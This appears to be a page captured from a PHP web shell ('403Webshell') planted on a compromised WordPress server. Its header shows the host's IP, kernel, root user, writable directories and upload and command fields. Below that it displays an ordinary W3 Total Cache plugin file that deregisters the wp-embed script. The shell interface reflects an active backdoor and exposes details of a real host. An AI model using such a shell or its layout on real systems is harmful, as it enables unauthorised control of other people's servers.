403Webshell
Server IP : 130.225.57.55  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux wp-vhost07 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /srv/www/reco2st.eu/https/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/www/reco2st.eu/https/wp-content/plugins/w3-total-cache/UserExperience_OEmbed_Extension.php
<?php
/**
 * File: UserExperience_OEmbed_Extension.php
 *
 * @package W3TC
 */

namespace W3TC;

defined( 'ABSPATH' ) || exit;
/**
 * Class UserExperience_OEmbed_Extension
 */
class UserExperience_OEmbed_Extension {
	/**
	 * Runs the initialization process for the extension.
	 *
	 * Adds the necessary WordPress hooks to modify the oEmbed behavior.
	 *
	 * @return void
	 */
	public function run() {
		add_action( 'wp_footer', array( $this, 'wp_footer' ) );
	}

	/**
	 * Modifies the footer of the WordPress page.
	 *
	 * Deregisters the 'wp-embed' script to prevent WordPress from enqueueing
	 * its default embed script, reducing unnecessary resources being loaded.
	 *
	 * @return void
	 */
	public function wp_footer() {
		wp_deregister_script( 'wp-embed' );
	}
}

$w3tc_o = new UserExperience_OEmbed_Extension();
$w3tc_o->run();

Youez - 2016 - github.com/yon3zu
LinuXploit